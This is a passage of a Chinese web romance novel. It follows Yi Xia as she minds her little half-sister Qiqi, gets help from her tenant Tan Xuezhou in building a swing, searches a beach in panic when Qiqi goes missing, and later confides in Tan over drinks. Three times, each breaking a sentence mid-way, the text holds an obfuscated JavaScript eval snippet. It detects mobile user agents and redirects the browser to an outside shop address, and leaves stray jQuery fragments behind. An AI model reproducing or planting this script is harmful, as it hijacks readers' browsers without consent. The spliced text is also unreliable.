具体来说是对哥哥带回来的猫咪。 琪琪开始小心翼翼地在旁边悄悄摸一把,谈雪昼没说什么,等到得寸进尺想抱着猫撸的时候,谈雪昼阻止了她。 猫太小了,小孩下手不见得有轻重,怕一不小心就玩坏了。再一个也是怕猫咪应激,伤到小朋友。 魔爪被拦住,琪琪立刻抽着鼻子去拉宜夏的手,让姐姐给自己做主。 宜夏一低头对上她亮晶晶的眼睛,很为难:“猫太小了,你也很小,哥哥是怕你受伤。” “不,哥哥就是小气鬼,不让我碰。小气鬼!” 谈雪昼淡定地抬起头,跟七岁的小孩较劲:“我就是小气,怎么了?” 琪琪哇的一声,突然就哭起来了。 宜夏连忙哄她,她却越哭越伤心,哭得上气不接下气。 宜夏焦头烂额终于快哄得小朋友不再抽泣,谈雪昼慢腾腾在旁边补刀:“我不是怕你受伤哦,我是怕猫受伤。” 琪琪被一逗,立刻又是哇的一声。 宜夏瞪了谈雪昼一眼:“你逗哭的小孩你自己哄。” 谈雪昼蹲下来,两只手按在小孩肩膀上,微微弓背直视着她,淡淡说:“不准哭了。” 琪琪根本不吃他这一套。 谈雪昼头疼起来,脸色严肃:“再哭就把你丢出去。” 琪琪继续大哭。 “还把你姐姐也丢出去。” 琪琪这下是真放声大哭了,扯着嗓子哭哭啼啼拉宜夏的手,要宜夏把他赶出去。宜夏只好无奈地摸着她的头发安抚她。 谈雪昼送她一个无能为力的眼神,宜夏气得要打人。 琪琪终于哭够了,缩成一小团打开自己的电话手表给宜月心打电话。 宜夏刚走过去,就听见她在告状:“妈妈,有个坏人,要把我和姐姐都丢出去!” 宜夏心里咯噔一声。 宜月心在那边语气有点紧张:“怎么回事宝宝?” 琪琪哽咽着说:“有个坏人,住在姐姐这里,他要把我赶出去。他还不让我摸他的猫。他的猫很丑,很难看,我才没有要摸,但是他不让我摸……” 宜月心抓住了重点,轻声问:“宝宝,谁和姐姐住在一起?” 宜夏见状,只好凑过去勉强解释:“是一个客人。” “小夏,妈妈劝过你不要再开民宿了。陌生人要是伤害到琪琪怎么办?” 宜夏说:“不会的,是在逗她玩。” “你多注意,别让琪琪遇到危险了。” 宜夏低低地嗯了一声。 琪琪抽抽搭搭挂了电话,眨巴着眼睛,还是要玩那只猫。 宜夏没同意,她立刻说要给妈妈打电话告状。 这下可让她敏锐地抓住痛点了。 宜夏不得不心情沉重地央求谈雪昼。 谈雪昼好整以暇看着她。 宜夏试图让他不要和小孩计较,他慢吞吞地回一句:“我和她谁重要?” 宜夏表情差点没绷住。 “回答不上来了?不是说要追我吗?” 宜夏惊了:“不是?我什么时候说过?” “那看来是我误会了。” 宜夏感觉自己完全被他带偏了,紧急刹车:“你就让琪琪玩一会儿吧。我看着,不会出事的。” 谈雪昼叹了口气,也没再小气,把猫递了出去。 琪琪蹲着,小心翼翼地摸猫。小猫很柔顺,琪琪兴致勃勃地和猫咪玩了一会儿,三分钟热度立刻下头,厌烦了。 她拉着宜夏出门到小院子里,继续刚刚没有下文的话题—— 要宜夏给她扎秋千。 就这半天,宜夏已经被折腾到心累了。 琪琪就是看起来可爱,实际上是个精力充沛破坏力强到过分的大魔王。 宜夏试图跟她解释她不会扎,琪琪不接受,很有条理地要她去Tiktok学教程。宜夏又说没有工具,琪琪表示可以去找。宜夏找不出借口了,只好说自己累了困了饿了好辛苦了想休息了,琪琪转头就要跟妈妈打电话告状。 宜夏真是一个头两个大。 幸好谈雪昼没在看她笑话。 他抱着猫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13567190|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去楼上办公了。 宜夏从储物间里翻出木板和麻绳。 院子里就有棵高大的桂花树可以挂秋千,只需要把木板锯好打磨,套上麻绳挂上树就行了。 听起来挺简单的。 但宜夏还是面对木板一筹莫展。 她没做过木工活啊。 她低头,看着琪琪水灵灵的大眼睛,沉吟片刻,淡定地打响退堂鼓:“不如我们继续玩猫咪吧?” 琪琪立刻把头摇成拨浪鼓。 宜夏蹲下,试图跟她讲道理:“你是不是很想要秋千?” “嗯!” “自己想要的东西是不是应该自己努力?” 琪琪迟疑。 宜夏说:“刚刚那个哥哥应该会做。如果你想要的话,就自己主动去楼上找他,说服他。” 琪琪摇头:“我才不要找他!” “为什么?” “因为他……”琪琪语塞,半秒之后,“因为他长得很凶。” “凶吗?他不好看吗?” “而且而且,他小气。”琪琪依然对谈雪昼刚刚不让她玩猫耿耿于怀,而且他还要把她和姐姐一起丢出去,大讨厌。 宜夏爱莫能助地摸摸她脑袋:“那就没办法了。反正姐姐是不会做。” 琪琪又开始要哭不哭:“姐姐,那你去找他帮帮忙嘛。他不是你男朋友吗?你去找他嘛。” 宜夏问:“谁告诉你他是我男朋友的?” “你们都住在一起啊,而且,而且我自己就是这么觉得的。” “你懂这么多?美国小学教这些?” 琪琪可怜巴巴看着她,眨着乌溜溜的大眼睛试图蛊惑宜夏。 宜夏没办法,只好上楼去找谈雪昼帮忙。 他一开始要求她没事不能上楼之后,她就很少踏上楼梯。 这次是隔了十天半个月,她发现楼梯到走廊都很干净,一点没积灰,看来谈雪昼有打扫,挺爱干净的。 平心而论他是个挺不错的房客,平时早出晚归很安静,爱卫生,也不挑剔,整体来说属于最好伺候的那一挂客人。 她走到他房门口,敲了敲门,却没听见里面的回应。 她又不好推门进去,怕跟第一次那样碰见他在里面……呃,换衣服。 站定在门口,又问了一声:“你在里面吗?” 门倏然从里面拉开,里面涌出一股湿润蓬勃的雾气。 谈雪昼倚着门框站着。头发刚洗过,湿漉漉的乌黑芬芳,身上也是洗澡后蓬勃的热气。 宜夏比他矮,目光直视的时候,只能看见他的喉结。 她不得不微微仰着脸跟他说话:“有时间吗?” “如果我说没有,你会怎么办?” 宜夏无视他的否定:“……太好了。可以帮个忙吗?” 谈雪昼挑了挑眉,示意她继续。 “琪琪要做秋千。你会不会?” “……”他半天不吭声,把她从头到脚打量了一遍,慢腾腾问,“这么求人办事?” 宜夏试探:“今晚想吃什么我来做?” 谈雪昼:“嗯。然后呢?” “然后?”宜夏努力思考,“你还有什么需要?” 他就倚着门框好整以暇地看着她。 宜夏对上他漆黑的桃花眼,咬了下唇瓣:“还有……我想想,帮你晾被子?给你借摩托车?” 谈雪昼:“还有呢?” “你别得寸进尺,别太过分了。” 谈雪昼懒洋洋说:“这些我都不需要呢。我现在最需要的是——” 宜夏福至心灵,突然问:“是不是需要一个,可以帮你挡住相亲对象的假女朋友?我也可以帮忙!我能做得很好。” 谈雪昼:“……” 宜夏看他神色还是没有松动,有点急了,急迫想证明自己,一咬牙,鬼使神差说:“不相信的话,我亲你一下试试,你看看像不像演的?” 谈雪昼被她的神来之笔沉默了,半晌,匪夷所思说:“那这不相当于,奖励你吗?” 20. 春日 第20章 宜夏真的是鬼迷心窍问了那句话。 问完之后,更鬼迷心窍的事情发生了——她竟然开始,不由自主注意他的唇瓣。粉色的,薄薄的,刚洗完澡泛着水光,形状很漂亮,看起来很适合被亲一下。 宜夏脑子嗡一下乱了,心跳都变快了半拍,根本没听见他说了什么,只注意到他唇瓣的张合。 他说完。 宜夏沉默片刻,态度端正小心翼翼地胡言乱语:“那你亲我一下也行。” 谈雪昼一直没吭声。 宜夏小心翼翼地抬起脸,悄悄觑他。 谈雪昼冷不丁说:“行啊。” 宜夏:“???” 他这句“行”是她完全没有预料到的。 他行完之后丢下来一句“我换身衣服”,就把门关上了。 再开门的时候,穿了一件黑色的冲锋衣,下装是黑色的工装裤,高帮的马丁靴,全身黑,又拽又酷。干净利落,一看就很适合干活。 宜夏脑子里想的却不是干不干活,而是他……行啊。不是,他到底什么意思啊? 谈雪昼从储物间理把木板和电锯都拿出去。电锯一开,他端详一番,拿着东西吓唬小女孩:“小朋友,你看过……电锯惊魂吗?” 琪琪紧紧抱住宜夏,把脸埋进姐姐的胸口。 谈雪昼挑眉笑了下,开始锯木板。又找来电钻打孔,用修边器把木板太尖锐的棱边修得圆滑,再拿砂纸打磨,上一层清漆。 埋头干活的时候木屑乱飞,有几粒落在了他的头发里。 宜夏确信自己绝对是鬼迷心窍了。 因为她,伸手把木屑从他头发里摘了出来。 他停了动作直起腰看着她没说话,额头脸颊一层细汗。 宜夏偏过脸,咽了下口水:“我……” “我懂。” 不是,你懂什么啊? 都给你懂完了! 给木板上绑好绳子之后,谈雪昼就搭着梯子去挂秋千,在树枝上挂得很牢,宜夏率先试了一下,秋千挺好荡。她抱着琪琪坐上秋千荡了一会儿,琪琪要下来自己荡,宜夏不大走心地推了她一会儿,逗得她咯咯笑。 宜夏一直心神不定。 心不在焉的。 因为她真的就一直在忐忑地琢磨,“行啊”到底几个意思。 为什么……她分析了一下自己的心理活动。 她这是在期待吗?心怦怦跳得越来越快,她忍不住转过脸寻找谈雪昼的身影。 谈雪昼干完活把东西都收回储物间,在厨房拿了罐冰镇柠檬水。 喝完随手把易拉罐捏扁,罐子丢进旁边的垃圾桶里。捏罐子的时候,他的手指姿势动作特别流畅,指节冷白,宜夏脑子一直回放那几帧。 冷不防,他隔着厨房的玻璃窗朝外面看过来。 宜夏心突然一紧,立即低下头,假装跟琪琪说话。 琪琪朝她招手,气声说:“姐姐。” 宜夏蹲下,听她要说什么。 琪琪小声问:“哥哥真的不是你男朋友吗?” 宜夏说:“不是。” “那你喜欢他吗?” 宜夏语塞了一瞬,揉揉她的脑袋:“你问这么多干什么?” 宜夏从前也没照顾过小孩。 幸好琪琪不算太闹腾。 白天无处发泄的精力消耗完之后,晚上乖乖吃了饭,洗完澡就要上床睡觉了。宜夏把她哄睡,坐在床头开了一盏小灯看书。但怎么也看不进去。 ……行啊。 魔音灌脑了。 谈雪昼给她下蛊了。 蛊王。 有毒。 也许他就是随便那么一说。 也没有真的要亲。 他每次说话都没什么遮拦,漫不经心随便说的,根本没有认真。 宜夏在心里这么跟自己说。 狠狠告诉自己心不准乱跳,不准产生莫名其妙的期待。 ——无果。 她一行字都看不进去,一咬牙摸出手机。 点开和他的对话框,然后立刻又颓废了。 谈雪昼随口那么一说,她要是认真了,显得多可笑多迫不及待。 算了。 睡吧。 宜夏心里堵得很慌,手机搁回床头,烦闷地在床上翻来覆去。琪琪被她翻身弄醒了,迷迷糊糊问她怎么了,她实在是睡不着,又一次鼓起勇气摸出手机。 微信多了个小红点,是一条新好友申请。 备注信息写道: 阿宜,我是于璟,我回来了。 宜夏眼睛倏然瞪大,大脑嗡的一声空白。 呼吸不畅片刻,她直接删掉了那条好友申请,重重躺回床上。 琪琪滚进她的怀里,她搂着软软香香的小姑娘闭上眼睛,却没做什么美梦。 梦境凌乱,她好像看见了高中时的自己。 被孤立,被霸凌,被歧视,然后,于璟满身是光地出现在她的世界里。 却在最后残忍地告诉她,一切都是他的谎言,一切不过是一场赌约,一场攻略游戏。 宜夏第二天醒来时情绪很低落。 但很快就没办法有气无力了。 琪琪实在是个大魔王,占据了她的全副心神。这小孩晚上很好说话,好哄睡,但白天精力旺盛得要命,宜夏简直被折腾个半死。 一连几天她筋疲力竭地带娃,而谈雪昼早出晚归,两个人都没怎么碰上说话。 宜夏感觉他确实不像在勘景,而像在拍视频素材。 也许,他还有个摄影博主、视频Vlog博主的副业? 一连被大魔王折磨了好几天,琪琪马上要被送走,宜夏终于要解放了。 这天下午吃完晚饭,琪琪缠着宜夏要去海边玩。 他们昨天去海边挖了一下午沙子,琪琪还没玩够,非要再来一次,要用沙子堆迪士尼城堡。 宜夏带着小朋友出门之前,发微信问了谈雪昼一声,要不要一起出门。 被拒绝。 他吃了晚饭就不见人影了。 宜夏撇了撇嘴,不来就不来,切,搞得好像我很期待你过来一样。 宜夏骑着小电驴带琪琪去人多的那一块海滩。 傍晚有很多岛民在海滩边散步,琪琪可以和同龄小朋友一起玩沙子。 琪琪自来熟得很,见有小朋友在玩,她欢呼着直接加入,和他们一起修城堡,还要修水利工程把海水引到城堡外面构成城池。 中国人基建血脉觉醒,几个小毛头玩得不亦乐乎。 天色微微擦黑,远处灯塔闪烁着永恒不灭的亮光。轮船是一点海上的星光,一里一里靠近归港。 宜夏一边看着小孩,一边吹风,踩着拖鞋,脚趾抓住沙子,软软的很温暖。 晚上的海风吹得很舒服,风中有海水的咸腥气味,有日光暴晒沙子的干燥气味,也有不远处海滩烧烤的烟火气,各种海味章鱼鱿鱼的喷香。 琪琪吸了吸鼻子,从城堡上抬起头来,眨巴着大眼睛期待地看着宜夏:“姐姐。” 宜夏很警惕她这一番表情,一看就知道又在想点子。 琪琪说:“我想吃鱿鱼。” 宜夏说:“你昨天吃了两串,今天不许吃了。” “我想吃嘛。妈妈不给我吃,妈妈连麦麦都不让我吃,姐姐,我明天就要走啦,最后吃一串嘛。” 宜夏没顶住漂亮宝宝撒娇,摸了摸她头发,满足了小宝贝的愿望:“那你在这继续玩,不准乱跑。我过去给你买。” 琪琪眨巴着大眼睛,忙不迭点头。 宜夏回头:“千万不要乱跑啊。” 海滩烧烤好几家,生意挺旺。岛上已经要到旅游旺季,海滩上有不少游客,来吃烧烤的也不全是本地岛民了,老板生意忙不过来。 宜夏背着手等了一会儿才等到她点的鱿鱼,她还特地打包了一份海鲜炒饭,准备带回家当宵夜吃。 给谈雪昼准备的狗粮。 拿着鱿鱼和炒饭回到刚刚小朋友们堆城堡的地方,却不见琪琪拱着身子欢快玩沙子的身影。 她心咯噔一跳,立刻快步走过去问旁边的小朋友:“琪琪呢?你们看到琪琪去哪儿了吗?” 一个小男孩抬起头:“她去打电话了。” 宜夏心慌起来,立刻三两步爬上旁边一米多高的水泥堤,站在高处往下搜寻。 天色黑了,旁边海鲜烧烤的摊子亮着灯,顾客盈门游客熙攘,其余靠近海岸的地方俱是沉默的黑沉。 入眼全没有琪琪的身影。 宜夏脑子“嗡”的一下一片空白,呼吸急促起来,浑身不受控制地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575276|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发软。 这是在海边,危险的海岸边,五岁的小姑娘……她不敢往下想,屏着呼吸打通了派出所的电话,随后大声喊起琪琪的名字来。 海鲜烧烤有播广告的大喇叭,宜夏拿过喇叭,一边喊琪琪的名字,一边拨开人流四处寻找。 然而根本没见琪琪的影踪,甚至身形像她的小女孩都没有看到。 宜夏焦急地拨开人流,碰见一个人就要问对方有没有看见一个七岁的很漂亮的小姑娘。 这么高,头发扎了个小揪揪,穿的一件嫩黄色的小裙子,鞋子上有蝴蝶结…… 没找到。 她找了十多分钟,手机突然响了,屏幕上跳动着谈雪昼的名字。 她手有点哆嗦,划开接通,没待那边开口,她咬着嘴唇声音发抖:“谈雪昼,琪琪不见了,在沙滩这里,她不见了。” 那边一怔,语气严肃起来:“报警了吗?” “报了,派出所离这里远,人还没到。我……怎么办,我不该带她来海边的……” “你在哪里,我马上过来。” 宜夏给他开了微信的位置共享,继续拿着大喇叭喊琪琪的名字。 人流聚集、适合游玩的沙滩地势狭长,有大概一公里多,再远一点就是防波堤以及灯塔了。宜夏努力冷静下来,顺着海滩一段一段地找,心却越来越沉。 派出所的民警很快赶到,发动起来帮她一起找,民警带了大音量的广播,不停地呼唤着琪琪的名字。 然而还是没见琪琪的踪影。 海…… 离海太近了。 她不会,一个人走到海边,然后被浪卷走了吧? 或者。 海滩边人多手杂,她又那么漂亮可爱,会不会被谁拐走? 令人窒息的恐惧紧紧攫住了她的心脏,她冷汗涔涔,喘不过气来,从一道水泥堤上下来的时候,双腿忽然一软,就要摔倒在地上。 一只手稳稳揽住了她的腰,然而强大的惯性还是让她朝地下跌去。有人紧紧把她圈住,靠自己的身体硬生生止住了跌倒的势头。一阵头晕目眩过后,宜夏抬头,对上了一双有些焦灼的眼睛。 宜夏满腔的惶恐终于重重坠地,她一直强忍着没肯落下的眼泪也夺眶而出:“琪琪……怎么办?” 谈雪昼扶她站稳,冷静说:“这么一会儿,不会有事的。我们再分头找,随时共享位置。我找那边,你继续往前。” 宜夏紧紧攥住他的手臂,很快又松开,擦了把眼泪。 现在不是哭的时候。 她继续往前找,现在正是游客出来吃夜宵的高峰期,人流越来越大。哪怕派出所的民警也已经加入了,但偌大漆黑的海滩要找到一个七岁的小女孩儿没那么容易。 宜夏强撑着恐慌和崩溃跌跌撞撞往前走。 行尸走肉一般,她机械地喊琪琪的名字。不知道喊了多久,喇叭没电了,她声音也哑了,情绪决堤,她喘不过气,唇齿间忽然尝到一股血腥味。 把嘴唇咬出血了。 海浪声一声一声,平时是她失眠时哄睡的白噪音,如今却成了所有恐惧的源头。 背后突然有人叫她的名字。 “宜夏。” 她扭过头。 谈雪昼单手抱着琪琪站在十几步远的地方。琪琪脸上挂着一串串眼泪,搂着谈雪昼的脖子,委委屈屈地看着她。 谈雪昼看清了她的表情,露出安抚性的笑,温柔说:“别哭,宜夏,找到了。” 宜夏眼泪突然决堤而出。 恐慌,庆幸,虚惊一场,劫后余生,种种强烈的情绪瞬间淹没了她。手里的喇叭吧嗒掉到了沙子上,她用手臂胡乱擦着眼泪,朝谈雪昼飞奔过去,扑过去抱住他。 还有他怀里的琪琪。 谈雪昼接住她,安抚性地拍了拍她颤抖的脊背:“别哭了。” 后怕涌上心头,宜夏手臂收紧,死死地箍住谈雪昼的肩膀,埋在他肩头,终于痛快地放声哭出来。 泪水簌簌而落,涕泪交加,浸湿了他的肩膀。谈雪昼抬起另一只手,环住她的肩膀,声音格外温柔。 “别哭了。” “没事了。” “别怕。” 他清了清嗓子,换成平常那副漫不经心的腔调:“眼泪全抹我衣服上了,再哭给我洗衣服了啊。” 21. 春日 宜夏好一会儿才重重喘气,恢复了语言功能和思考能力。 她抹掉眼泪,把琪琪从谈雪昼怀里接过来放到地上,蹲在她面前严肃问:“你跑去哪里了?姐姐不是让你在原地玩不要乱跑吗?” 琪琪搂住她的脖子,小声说:“我就是迷路了嘛。” “你去哪里了?” 琪琪说:“妈妈给我打电话,我就去找了个人少的地方接。然后我就找不到你了,就顺着路一直走……就迷路了。” “吓死我了你知道吗?你要是被坏人带走怎么办?要是被浪冲走了怎么办?” 小朋友知道自己闯了祸,垂着脑袋不敢吭声。 谈雪昼摸了摸她脑袋,淡声说:“跟姐姐说对不起,让姐姐担心了。” 琪琪抬起脸,飞速瞟了宜夏一眼:“姐姐对不起。” 又看了眼谈雪昼,声音小得像蚊子,“还有哥哥。谢谢哥哥。” 宜夏严肃教育了小孩一番,四肢终于渐渐恢复了力气。 这一场惊吓让她也没有继续在海滩边待下去的心思了,两大一小三个人一起回家。琪琪东看西看,小心翼翼地一只手牵住宜夏,另一只手牵住谈雪昼,一声不吭没敢多说话。 走到公路上,宜夏给派出所打了电话告诉他们小朋友已经找到了。虚惊一场,接线员也替她高兴。 宜夏边打电话,边低头看琪琪脑袋上绒绒的碎发,长长舒了一口气。 她刚挂掉电话,就感觉自己的手被琪琪往中间拉。 然后,就碰到了另一个人微凉的手指。 琪琪人小鬼大,把她和谈雪昼的手拉到一起,指根碰上指根,肌肤贴住肌肤。 然后偷偷抬起头,不说话,只眨眼睛。 宜夏侧过头,猝不及防撞进了谈雪昼漆黑的眼睛里。 那双眼睛敛在黑暗中,只有泪膜泛着一层浅浅的水光。形状太漂亮,宜夏想到自己刚上高中时偷偷在本子上写言情小说,描写男主的长相,死活想不出来眼睛什么样。时隔多年青春期的余韵闪电一般击中了她,就好像网上说的那一句,子弹时隔多年正中眉心。 她也不知道哪里来的勇气,挪了挪手指,试探着攥紧他冰凉的手指。 谈雪昼微微挑眉,眼睛里不是惊讶,更多的是了然的戏谑:“缓过来了?知道非礼别人了?” 宜夏低着头松松牵住他的手,心突然跳得很快:“我又没有力气。” “所以你要抽走,很容易的。” 她抬起头,冲他眨了下眼,神情在问,所以你为什么不抽走呢? ……然后谈雪昼看了她一眼,毫不留情地抽走了。 宜夏辜负了妹妹给她创造的绝世良机,很失落,只好牵着妹妹一路回家。 谈雪昼这个人。 还是要徐徐图之。 到家之后,宜夏惊魂未定,手脚依然没什么力气,抱着琪琪坐在沙发上,严肃跟她交代:“以后千万不能乱走知不知道?” “知道。” 琪琪埋着头委委屈屈:“刚刚就是妈妈给我打电话……她问我,和姐姐一起住,开不开心,我说很开心。很喜欢姐姐。最喜欢姐姐了。” 宜夏心一软,再多的斥责也说不出来了。 手机铃声突然响起。 宜夏摸索出手机,一看,是宜月心的号码。 宜夏按着琪琪的肩膀:“让妈妈再教育你一顿。” 琪琪很委屈:“……不要。” 宜夏接起来电话,琪琪立刻跳起来把电话抢走,连忙说:“妈妈!不要骂我,我不是故意的!” 宜月心在另一端一怔:“怎么了宝宝?妈妈怎么会骂你呢?” 琪琪抽噎着说:“刚刚姐姐带我在外面玩,我接你的电话,走丢了不见了。不过我不是故意的。不要骂我,妈妈。” 宜月心呼吸一急:“什么走丢了?宝宝,你没事吧?” “……我不是故意的嘛。姐姐说你要骂我。” “把电话给姐姐。” 琪琪不情不愿把电话递给宜夏。 宜夏站起来接起电话,琪琪在客厅转了一圈,吧嗒吧嗒跑到厨房,抱住谈雪昼的腿。谈雪昼正在低头洗水果,看她过来,瞥她一眼,吓唬她:“别靠近我,待会儿把你丢出去。” 琪琪:“哥哥,我想吃芒果。你帮我削一个好不好?” “不好。” “哥哥,你最好了。”琪琪已经充分认识了这个人的色厉内荏,只要嘴巴甜就能让他无计可施。 “之前不是说我讨厌的吗?” “没有,你最好了。最好了,哥哥,我最喜欢你了。” 谈雪昼顺手摸摸她的脑袋:“……行了,等着。” 宜夏在院子里接电话。 那边,宜月心声音很着急:“琪琪怎么了?什么走失了?你怎么看孩子的?” 宜夏愣住了,片刻后说:“……没出事。” “没出事?要是真出了事怎么办?你怎么这么不小心呢?” 宜夏哽了一下,轻声说:“对不起。” “妈妈知道你不是故意的,但是你……琪琪这么小,你用点心。她那么喜欢你,你怎么能不把她放在心上呢?要是真出了事,怎么办呢?我就她一个女儿——不是,我就她和你两个女儿——” 宜夏心里突然很堵,鼻头酸软。 她深呼吸,很久才说:“对不起。” “……妈妈没有怪你的意思。”宜月心终于平复了下来,好一会儿才说,“明天你把宝宝送回来吧。” “好。”宜夏答应得干脆。 挂断电话,她扭过头,看见灯火通明的室内,琪琪扯着谈雪昼的衣角撒娇,谈雪昼蹲在她面前,试图跟她讲道理。 很温暖的画面,宜夏心里却一阵酸涩。 明明,早就对“妈妈”没有更多期待了。 可是,这颗心居然还是会难过。 - 兵荒马乱的一夜,半夜十二点,宜夏把琪琪哄睡着了,轻手轻脚地起床。 实在是睡不着,她带上卧室门,从冰箱里搬出几罐啤酒,抱起来,去二楼露台喝。 自从谈雪昼住进来,她就很注意,一般不怎么上二楼了。 但二楼的大露台,种满她喜欢的花草。烟粉色浅橙色的月季花是盛花期,开到爆盆,挂在墙壁上的蓝雪花伸出茂密的花枝,蓝色的花球香气四溢,一盆盆蓝紫色的无尽夏花型圆润,种在角落里的柠檬树已经结果,果香扑鼻,气味清澈明亮。 露台小花房是外婆经营的,宜夏接手,花种得更多。 她心情不好的时候,会一个人在露台喝点酒。 想想外婆。 外婆已经走了。变成星星了吗?会在天上看她吗?世界上唯一爱她的人。 她为什么,总是这么孤独呢。 走到露台才发现,竟然还有一个人。 谈雪昼坐在藤椅上,面前的藤制圆桌上搁着电脑和平板,上面是令人眼花缭乱的视频剪辑轨道。 他抬起头,看见宜夏,挑了下眉,神色清凌凌的。 宜夏立刻清醒。 怀里的啤酒已经搁在了桌上,宜夏很镇定:“你怎么在这。” 谈雪昼:“?” “不是你后来吗?” 宜夏若无其事在他对面坐下,自顾自拧开一罐梅子酒喝了一口,又喝一口,两口下去了一大罐。她放下罐子,低着头,没吭声。 面前,谈雪昼合上电脑,按下平板,撑着下巴看她。 片刻后他淡淡开口:“怎么了?” 宜夏抬头,声音带着鼻音:“什么怎么了?” “借酒浇愁?” 宜夏拨弄了一下易拉罐的拉环,好一会儿,“嗯”了一声,再抬头的时候,眼睛是红的: “我做错了吗?” “什么?” “今天琪琪差点走丢了,是我的错,我没看好她……但我不是故意的。我也很害怕……现在,还是很后怕。” 谈雪昼低声说:“我知道,不是你的错。” “我就是做错了,不然为什么她要怪我?……没有人喜欢我。她说她要补偿我,但她其实,根本不喜欢我。我外婆走了,就再也没有人喜欢我了。” 谈雪昼看着她通红的眼睛,张了张口。 宜夏又喝了一口青梅酒,没头没脑地说:“琪琪是我妈后来结婚生的孩子。跟我不是同一个爸爸。但是你知道吗,我不知道我爸爸是谁。我从小就不知道他是谁,我只有妈妈,但是她不喜欢我,她不要我。不过也没什么,我早就习惯了。” 谈雪昼伸手按住她拉易拉罐拉环的手:“别喝了。” 宜夏挡开他,哗一下拉开拉环,闷头喝了一大口,轻声说:“只有一点点难受。一点点而已……” “那不是你的错。而且也没有出事,你不需要自责。” “我知道……我知道,你不用安慰我。”宜夏说着又拉开一罐梅子酒,闷头继续喝。 几口酒下肚,她陷入了恍惚的沉默。 她喝多了,不会像其他人一样发酒疯,只会默默地、很乖地趴着发呆。她趴在小藤桌上,阖着眼睛,呼吸很轻。 谈雪昼突然伸手,轻轻拨了一下她的额发。 她睁开眼,神情茫然。谈雪昼没说话,她以为自己幻觉,又一次垂下眼皮。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13582751|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谈雪昼轻声说:“我和你一样。” “什么?” “我也,只有妈妈,她不喜欢我。” “是吗?你家不是,很有很有钱吗?”宜夏有点薄醉,说话开始没逻辑了。 “很有钱,和,没有爱,也不矛盾吧,宜夏。” “但是我比你惨。”宜夏说着坐直,又喝了口酒,闷闷说,“我是没有钱也没有爱。”她重重把易拉罐往桌上一磕,“没有钱。如果没有很多很多的爱,我想要很多很多的钱,可是都没有。” 谈雪昼忍不住笑:“那很多很多的爱,和很多很多的钱,你选什么?” “我选……”宜夏陷入沉思,片刻后抬眼,薄醉的眼睑一片绯红,“我选了就能给我吗?如果不给怎么办?” “……” 你还挺有逻辑的。 宜夏趴在桌上,低声说:“我选了又有什么用?” “你不选,怎么知道没用?” 宜夏挣扎着想了很久,坐起来,靠着藤椅的椅背仰起脸,薄雾濛濛的眼睛轻轻看着谈雪昼,好一会儿才说:“那我选,很多很多的爱。很多很多,多到可以把我淹没的那种……会有吗?其实……不会有人爱我的。” “有的,宜夏。” “真的吗?” “真的,有人爱你的,只是你不知道他而已。” “不知道的话,怎么能算爱我呢?如果有人爱我,他要出现在我身边,他要在我难过的时候安慰我,在我伤心的时候,抱住我,在我……有点难受的时候,亲亲我,亲我一下,不用很多。”她的声音逐渐低下去,变成了呢喃的自言自语。 谈雪昼垂着眼,看见她头顶茸茸的发旋,目光柔软。 宜夏突然坐直,目光灼灼看着谈雪昼,鼓起了很大的勇气:“你是不是忘记了一件事?” “什么?” “就是……那天,你帮琪琪做秋千。” “嗯?” “你不记得了吗?” 宜夏其实这几天心里一直装着这件事呢,但又不敢主动提。这会儿也许是喝酒喝多了,胆子壮了,突然站起来,谴责谈雪昼:“你自己说的。这都能忘记。” “我说什么了?” “我说我要亲——”话到嘴边,看着谈雪昼清凉的眼睛,宜夏的勇气突然泄了,别过脸嘟囔,“算了。” “没什么。” “其实你什么都没说。” “我感觉有点晕,我可能得下去睡了。” 她晃晃悠扶着椅子往外走。 谈雪昼依然坐在藤椅上,抬起头看她。 宜夏说:“那我下去了。下去了哦。” 说话间已经带上了七分醉意。 谈雪昼站起来,搀住她手臂:“酒量这么差就别学人喝酒。” 宜夏喝酒特别容易上头,而且很上脸,一上脸就满脸通红的酒晕。不过她喝多了有一项好,就是听得懂话,比平常乖些安静些。 她什么都没说,很顺从地扶着谈雪昼的手臂慢吞吞往楼下挪。 谈雪昼把她送到沙发上,她靠着沙发半躺下,手背捂住眼睛:“你也回去睡吧。” 谈雪昼单手撑着沙发靠背,低眼看她:“宜夏,你刚刚想问我什么?我忘记什么事了?” 宜夏把手从眼睛上挪开,迷蒙的眼睛晕了一会儿才渐渐聚出稀少的一点清明,她喃喃说:“没什么,我一直在想……” 她忽然伸手扯住他的衣领,一把将他拽得低头。 两个人一瞬间距离极近,呼吸交缠,空气滚烫。 宜夏大睁着眼睛。 